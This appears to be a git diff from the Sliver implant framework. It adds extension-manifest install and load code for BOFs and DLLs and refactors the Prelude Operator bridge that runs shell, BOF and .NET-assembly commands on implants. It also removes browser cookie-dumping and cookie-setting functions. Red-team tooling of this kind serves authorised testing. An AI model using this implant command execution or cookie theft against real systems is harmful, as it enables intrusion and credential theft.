but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"os"
"path"
"github.com/bishopfox/sliver/client/assets"
)
const (
// ManifestFileName - Extension manifest file name
ManifestFileName = "extension.json"
)
var loadedExtensions = map[string]*ExtensionManifest{}
type ExtensionManifest struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
Version string `json:"version"`
ExtensionAuthor string `json:"extension_author"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"depends_on"`
Init string `json:"init"`
RootPath string `json:"-"`
}
type extensionFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
type extensionArgument struct {
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
}
func AddExtension(ext *ExtensionManifest) {
loadedExtensions[ext.CommandName] = ext
}
func GetLoadedExtension(name string) (*ExtensionManifest, error) {
if ext, ok := loadedExtensions[name]; ok {
return ext, nil
}
return nil, fmt.Errorf("extension not found: %s", name)
}
func GetExtensions() []*ExtensionManifest {
extensions := []*ExtensionManifest{}
for _, ext := range loadedExtensions {
extensions = append(extensions, ext)
}
return extensions
}
func (e *ExtensionManifest) GetFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range e.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
break
}
}
if filePath == "" {
err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
return "", err
}
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("extension file not found: %s", filePath)
return "", err
}
return filePath, nil
}
+145
View File
@@ -0,0 +1,145 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/util"
)
// Install an extension from a directory
func InstallFromDir(extLocalPath string) error {
manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
if err != nil {
return fmt.Errorf("error reading %s: %s", ManifestFileName, err)
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
return fmt.Errorf("error parsing %s: %s", ManifestFileName, err)
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
confirm := false
msg := fmt.Sprintf("Extension '%s' already exists. Overwrite current install?", manifest.CommandName)
prompt := &survey.Confirm{Message: msg}
survey.AskOne(prompt, &confirm)
if !confirm {
return err
}
forceRemoveAll(installPath)
}
err = os.MkdirAll(installPath, 0o700)
if err != nil {
return fmt.Errorf("error creating extension directory: %s", err)
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
forceRemoveAll(installPath)
return fmt.Errorf("error writing %s: %s", ManifestFileName, err)
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
forceRemoveAll(installPath)
return fmt.Errorf("error copying file '%s' -> '%s': %s", src, dst, err)
}
}
}
return nil
}
// InstallFromFilePath - Install an extension from a .tar.gz file
func InstallFromFilePath(extLocalPath string, autoOverwrite bool) (*string, error) {
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
return nil, fmt.Errorf("failed to read %s from '%s': %s", ManifestFileName, extLocalPath, err)
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
return nil, fmt.Errorf("failed to parse %s: %s", ManifestFileName, err)
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
confirm := false
msg := fmt.Sprintf("Extension '%s' already exists. Overwrite current install?", manifest.CommandName)
prompt := &survey.Confirm{Message: msg}
survey.AskOne(prompt, &confirm)
if !confirm {
return nil, err
}
}
forceRemoveAll(installPath)
}
// con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
return nil, fmt.Errorf("failed to create extension directory: %s", err)
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
forceRemoveAll(installPath)
return nil, fmt.Errorf("failed to write %s: %s", ManifestFileName, err)
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
err = installArtifact(extLocalPath, installPath, manifestFile.Path)
if err != nil {
forceRemoveAll(installPath)
return nil, fmt.Errorf("failed to install file: %s", err)
}
}
}
return &installPath, err
}
func installArtifact(extGzFilePath string, installPath string, artifactPath string) error {
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
err := os.MkdirAll(artifactDir, 0o700)
if err != nil {
return err
}
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
return nil
}
+168
View File
@@ -0,0 +1,168 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
)
// ParseExtensionManifest - Parse extension manifest from buffer
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
extManifest := &ExtensionManifest{}
err := json.Unmarshal(data, &extManifest)
if err != nil {
return nil, err
}
if extManifest.Name == "" {
return nil, errors.New("missing `name` field in extension manifest")
}
if extManifest.CommandName == "" {
return nil, errors.New("missing `command_name` field in extension manifest")
}
if len(extManifest.Files) == 0 {
return nil, errors.New("missing `files` field in extension manifest")
}
for _, extFiles := range extManifest.Files {
if extFiles.OS == "" {
return nil, errors.New("missing `files.os` field in extension manifest")
}
if extFiles.Arch == "" {
return nil, errors.New("missing `files.arch` field in extension manifest")
}
extFiles.Path = util.ResolvePath(extFiles.Path)
if extFiles.Path == "" || extFiles.Path == "/" {
return nil, errors.New("missing `files.path` field in extension manifest")
}
extFiles.OS = strings.ToLower(extFiles.OS)
extFiles.Arch = strings.ToLower(extFiles.Arch)
}
if extManifest.Help == "" {
return nil, errors.New("missing `help` field in extension manifest")
}
return extManifest, nil
}
// LoadExtensionManifest - Parse extension files
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
extManifest, err := ParseExtensionManifest(data)
if err != nil {
return nil, err
}
extManifest.RootPath = filepath.Dir(manifestPath)
loadedExtensions[extManifest.CommandName] = extManifest
return extManifest, nil
}
func LoadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, request *commonpb.Request, rpc rpcpb.SliverRPCClient) error {
var extensionList []string
binPath, err := ext.GetFileForTarget(ext.CommandName, goos, goarch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if checkCache {
extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: request,
})
if err != nil {
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
}
depLoaded := false
for _, extName := range extensionList {
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if ext.CommandName == extName {
return nil
}
}
// Extension not found, let's load it
if filepath.Ext(binPath) == ".o" {
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(goos, goarch, ext.DependsOn, request, rpc); errLoad != nil {
return errLoad
}
}
return nil
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return err
}
if errRegister := registerExtension(goos, ext, binData, request, rpc); errRegister != nil {
return errRegister
}
return nil
}
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, request *commonpb.Request, rpc rpcpb.SliverRPCClient) error {
registerResp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.CommandName,
Data: binData,
OS: goos,
Init: ext.Init,
Request: request,
})
if err != nil {
return err
}
if registerResp.Response != nil && registerResp.Response.Err != "" {
return errors.New(registerResp.Response.Err)
}
return nil
}
func loadDep(goos string, goarch string, depName string, request *commonpb.Request, rpc rpcpb.SliverRPCClient) error {
depExt, ok := loadedExtensions[depName]
if ok {
depBinPath, err := depExt.GetFileForTarget(depExt.CommandName, goos, goarch)
if err != nil {
return err
}
depBinData, err := ioutil.ReadFile(depBinPath)
if err != nil {
return err
}
return registerExtension(goos, depExt, depBinData, request, rpc)
}
return fmt.Errorf("missing dependency %s", depName)
}
+50
View File
@@ -0,0 +1,50 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"os"
"path/filepath"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/util"
)
// RemoveExtensionByCommandName - Remove an extension by command name
func RemoveExtensionByCommandName(commandName string) error {
if commandName == "" {
return errors.New("command name is required")
}
if _, ok := loadedExtensions[commandName]; !ok {
return errors.New("extension not loaded")
}
delete(loadedExtensions, commandName)
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
}
forceRemoveAll(extPath)
return nil
}
func forceRemoveAll(rootPath string) {
util.ChmodR(rootPath, 0o600, 0o700)
os.RemoveAll(rootPath)
}
+1 -72
View File
@@ -3,17 +3,14 @@ package overlord
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
@@ -27,11 +24,8 @@ import (
"log"
"net/http"
"net/url"
"time"
"github.com/bishopfox/sliver/client/core"
"github.com/chromedp/cdproto/cdp"
"github.com/chromedp/cdproto/network"
"github.com/chromedp/cdproto/page"
"github.com/chromedp/cdproto/target"
"github.com/chromedp/chromedp"
@@ -164,10 +158,7 @@ func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]b
}
extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
var result []byte
evalTasks := chromedp.Tasks{
chromedp.Evaluate(jsCode, &result),
}
err := chromedp.Run(extCtx, evalTasks)
err := chromedp.Run(extCtx, chromedp.Evaluate(jsCode, &result))
return result, err
}
@@ -269,68 +260,6 @@ func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
return extensionContexts, nil
}
// DumpCookies - Dump all cookies from the remote debug target
func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Cookie, error) {
var cookies []*network.Cookie
var err error
dumpCookieTasks := chromedp.Tasks{
// read network values
chromedp.ActionFunc(func(ctx context.Context) error {
cookies, err = network.GetAllCookies().Do(ctx)
if err != nil {
return err
}
// for i, cookie := range cookies {
// log.Printf("chrome cookie %d: %+v", i, cookie)
// }
return nil
}),
}
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
defer taskCancel()
defer cancel()
ctx, _ := chromedp.NewContext(taskCtx)
if err := chromedp.Run(ctx, dumpCookieTasks); err != nil {
return cookies, err
}
return cookies, nil
}
func SetCookie(curse *core.CursedProcess, webSocketURL string, host string, cookies ...string) (string, error) {
var res string
setCookieTasks := chromedp.Tasks{
chromedp.ActionFunc(func(ctx context.Context) error {
// create cookie expiration
expr := cdp.TimeSinceEpoch(time.Now().Add(180 * 24 * time.Hour))
// add cookies to chrome
for i := 0; i < len(cookies); i += 2 {
err := network.SetCookie(cookies[i], cookies[i+1]).
WithExpires(&expr).
WithDomain("localhost").
WithHTTPOnly(true).
Do(ctx)
if err != nil {
return err
}
}
return nil
}),
// navigate to site
// chromedp.Navigate(host),
// read the returned values
// chromedp.Text(`#result`, &res, chromedp.ByID, chromedp.NodeVisible),
}
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
defer taskCancel()
defer cancel()
ctx, _ := chromedp.NewContext(taskCtx)
if err := chromedp.Run(ctx, setCookieTasks); err != nil {
return "", err
}
return res, nil
}
// Screenshot - Take a screenshot of a Chrome context
func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
var result []byte
+9 -1
View File
@@ -1,4 +1,12 @@
Prelude
=======
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
## BOF support
To execute BOF TTPs, use the custom `bof` executor:
```json
bof.[{"type": "int", "value": #{json.T1234.ProcessId}}]
```
-175
View File
@@ -1,175 +0,0 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"io/ioutil"
"path"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
const (
coffLoaderName = "coff-loader"
loaderEntryPoint = "LoadAndRun"
bofEntryPoint = "go"
)
type bofArgs struct {
ArgType string `json:"type"`
Value interface{} `json:"value"`
}
func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
if !isLoaderLoaded(implant, rpc) {
err = registerLoader(implant, rpc)
if err != nil {
return
}
}
bofArgs := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
for _, a := range args {
switch a.ArgType {
case "integer":
fallthrough
case "int":
if v, ok := a.Value.(float64); ok {
err = bofArgs.AddInt(uint32(v))
}
case "string":
if v, ok := a.Value.(string); ok {
err = bofArgs.AddString(v)
}
case "wstring":
if v, ok := a.Value.(string); ok {
err = bofArgs.AddWString(v)
}
case "short":
if v, ok := a.Value.(float64); ok {
err = bofArgs.AddShort(uint16(v))
}
}
if err != nil {
return
}
}
extArgs := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
parsedArgs, err := bofArgs.GetBuffer()
if err != nil {
return
}
err = extArgs.AddString(bofEntryPoint)
if err != nil {
return
}
err = extArgs.AddData(bof)
if err != nil {
return
}
err = extArgs.AddData(parsedArgs)
if err != nil {
return
}
extArgsBuffer, err := extArgs.GetBuffer()
if err != nil {
return
}
extResp, err := rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: coffLoaderName,
ServerStore: false,
Args: extArgsBuffer,
Export: loaderEntryPoint,
Request: MakeRequest(implant),
})
if err != nil {
return
}
// If Async req, onFinishCallback won't be nil
if onFinishCallback != nil {
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
return
}
if extResp.Response != nil && extResp.Response.Err != "" {
err = errors.New(extResp.Response.Err)
}
output = string(extResp.Output)
return
}
func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
var coffLoaderPath string
switch implant.GetArch() {
case "amd64":
coffLoaderPath = "COFFLoader.x64.dll"
case "386":
coffLoaderPath = "COFFLoader.x86.dll"
}
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
loaderData, err := ioutil.ReadFile(loaderPath)
if err != nil {
return err
}
resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: coffLoaderName,
Data: loaderData,
OS: implant.GetOS(),
Init: "",
Request: MakeRequest(implant),
})
if err != nil {
return err
}
if resp.Response != nil && resp.Response.Err != "" {
return errors.New(resp.Response.Err)
}
return nil
}
func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: MakeRequest(implant),
})
if err != nil {
return false
}
for _, ext := range extList.Names {
if ext == coffLoaderName {
return true
}
}
return false
}
@@ -1,4 +1,4 @@
package prelude
package bridge
/*
Sliver Implant Framework
@@ -30,33 +30,36 @@ import (
"strings"
"time"
"github.com/bishopfox/sliver/client/prelude/config"
"github.com/bishopfox/sliver/client/prelude/implant"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
)
const (
defaultTimeout = 60
delim = "\r\n"
delim = "\r\n"
)
type CommandRunner func(string, string, []byte, *OperatorImplantBridge, func(string, int, int)) (string, int, int)
// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
// to a Prelude Operator implant with a TCP transport.
type OperatorImplantBridge struct {
Conn *net.Conn
Implant ActiveImplant
Implant implant.ActiveImplant
RPC rpcpb.SliverRPCClient
PBeacon OperatorBeacon
PBeacon config.OperatorBeacon
BeaconCallback func(string, func(*clientpb.BeaconTask))
Config AgentConfig
Config config.AgentConfig
RunCommand CommandRunner
recv chan []byte
send chan []byte
}
func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
func NewImplantBridge(c *net.Conn, a implant.ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon config.OperatorBeacon, conf config.AgentConfig, callback func(string, func(*clientpb.BeaconTask)), runner CommandRunner) *OperatorImplantBridge {
return &OperatorImplantBridge{
Conn: c,
Implant: a,
@@ -64,6 +67,7 @@ func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, p
Config: conf,
BeaconCallback: callback,
PBeacon: pbeacon,
RunCommand: runner,
recv: make(chan []byte),
send: make(chan []byte),
}
@@ -100,7 +104,7 @@ func (a *OperatorImplantBridge) ReceiveLoop() {
}
func (a *OperatorImplantBridge) handleMessage(message string) {
var tempBeacon OperatorBeacon
var tempBeacon config.OperatorBeacon
decoded, err := hex.DecodeString(message)
if err != nil {
return
@@ -111,7 +115,7 @@ func (a *OperatorImplantBridge) handleMessage(message string) {
}
}
func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *config.OperatorBeacon) {
for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
var payload []byte
@@ -121,7 +125,7 @@ func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon)
// If we're running on a Beacon
if implantBridge.BeaconCallback != nil {
RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
implantBridge.RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
link.Response = response
link.Status = status
link.Pid = pid
@@ -137,7 +141,7 @@ func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon)
return
}
// Running on a Session
response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
response, status, pid := implantBridge.RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
link.Response = response
link.Status = status
link.Pid = pid
@@ -167,7 +171,7 @@ func requestPayload(target string) ([]byte, error) {
func (a *OperatorImplantBridge) refreshBeacon() {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Implant),
Request: implant.MakeRequest(a.Implant),
})
if pwdResp != nil {
pwd = pwdResp.Path
@@ -179,28 +183,3 @@ func (a *OperatorImplantBridge) refreshBeacon() {
a.PBeacon.Executing = a.Config.BuildExecutingHash()
}
func MakeRequest(a ActiveImplant) *commonpb.Request {
timeout := int64(defaultTimeout)
req := &commonpb.Request{
Timeout: timeout,
}
if a == nil {
return nil
}
beacon, ok := a.(*clientpb.Beacon)
if ok {
req.BeaconID = beacon.ID
req.Async = true
return req
}
session, ok := a.(*clientpb.Session)
if ok {
req.SessionID = session.ID
req.Async = false
return req
}
return nil
}
+53 -70
View File
@@ -24,66 +24,71 @@ import (
"fmt"
"strings"
"github.com/bishopfox/sliver/client/prelude/bridge"
"github.com/bishopfox/sliver/client/prelude/config"
"github.com/bishopfox/sliver/client/prelude/executor"
"github.com/bishopfox/sliver/client/prelude/implant"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
// Exxpected message looks like:
// Ls:
// {
// "Command": "ls",
// "Arguments": {
// "Path": "/"
// }
// "Output": "json"
// }
// Extension (BOF):
// {
// "Command": "run-extension",
// "Arguments": {
// "Name": "sa-cacls",
// "Arguments": [{"type":"wstring","value":"/"}]
// }
// }
// Extension (shared lib):
// {
// "Command": "run-extension",
// "Arguments": {
// "Name": "proc-dump",
// "Arguments": ["4343"]
// }
// }
type sliverExecutorMessage struct {
Command string
Output string // "text" or "json", default is "text"
Arguments interface{}
}
//RunCommand executes a given command
func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
func RunCommand(message string, executor string, payload []byte, agentSession *bridge.OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
switch executor {
case "keyword":
task := splitMessage(message, '.')
switch task[0] {
case "bof":
if len(task) != 2 {
break
}
var bargs []bofArgs
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
err := json.Unmarshal([]byte(argStr), &bargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
if payload == nil {
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
}
out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, 0
case "execute-assembly":
if len(task) < 2 {
break
}
var eaargs execasmArgs
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
err := json.Unmarshal([]byte(argStr), &eaargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
if payload == nil {
return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
}
out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, 0
case "exit":
return shutdown(agentSession)
default:
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
case "sliver":
sliverMsg := &sliverExecutorMessage{}
err := json.Unmarshal([]byte(message), sliverMsg)
if err != nil {
return fmt.Sprintf("Error: %s\n", err.Error()), config.ErrorExitStatus, config.ErrorExitStatus
}
return runSliverExecutor(sliverMsg, payload, agentSession, onFinish)
default:
bites, status, pid := execute(message, executor, agentSession, onFinish)
return string(bites), status, pid
}
return "", ErrorExitStatus, ErrorExitStatus
}
func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
func runSliverExecutor(msg *sliverExecutorMessage, payload []byte, impBridge *bridge.OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
handler := executor.GetHandler(msg.Command)
if handler != nil {
return handler(msg.Arguments, payload, impBridge, onFinish, msg.Output)
}
return "Unknown command", config.ErrorExitStatus, config.ErrorExitStatus
}
func execute(cmd string, executor string, implantBridge *bridge.OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
args := append(getCmdArg(executor), cmd)
if executor == "psh" {
executor = "powershell.exe"
@@ -96,7 +101,7 @@ func execute(cmd string, executor string, implantBridge *OperatorImplantBridge,
Path: executor,
Args: args,
Output: true,
Request: MakeRequest(implantBridge.Implant),
Request: implant.MakeRequest(implantBridge.Implant),
})
if err != nil {
@@ -117,7 +122,7 @@ func execute(cmd string, executor string, implantBridge *OperatorImplantBridge,
// Session
if execResp.Response != nil && execResp.Response.Err != "" {
return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
return execResp.Response.Err, config.SuccessExitStatus, config.SuccessExitStatus
}
return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
}
@@ -136,25 +141,3 @@ func getCmdArg(executor string) []string {
}
return args
}
func splitMessage(message string, splitRune rune) []string {
quoted := false
values := strings.FieldsFunc(message, func(r rune) bool {
if r == '"' {
quoted = !quoted
}
return !quoted && r == splitRune
})
return values
}
func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
Force: false,
Request: MakeRequest(agentSession.Implant),
})
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
}
@@ -1,4 +1,4 @@
package prelude
package config
/*
Sliver Implant Framework
-68
View File
@@ -1,68 +0,0 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
type execasmArgs struct {
IsDLL bool `json:"isDLL"`
Process string `json:"process"`
Arguments string `json:"arguments"`
Architecture string `json:"architecture"`
Method string `json:"method"`
Class string `json:"class"`
AppDomain string `json:"appDomain"`
}
func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: MakeRequest(implant),
IsDLL: args.IsDLL,
Process: args.Process,
Arguments: args.Arguments,
Assembly: asm,
Arch: args.Architecture,
Method: args.Method,
ClassName: args.Class,
AppDomain: args.AppDomain,
})
if err != nil {
return
}
// If Async req, onFinishCallback won't be nil
if onFinishCallback != nil {
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
return
}
if extResp.Response != nil && extResp.Response.Err != "" {
err = errors.New(extResp.Response.Err)
}
output = string(extResp.Output)
return
}
+106
View File
@@ -0,0 +1,106 @@
package executor
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"errors"
"github.com/bishopfox/sliver/client/prelude/bridge"
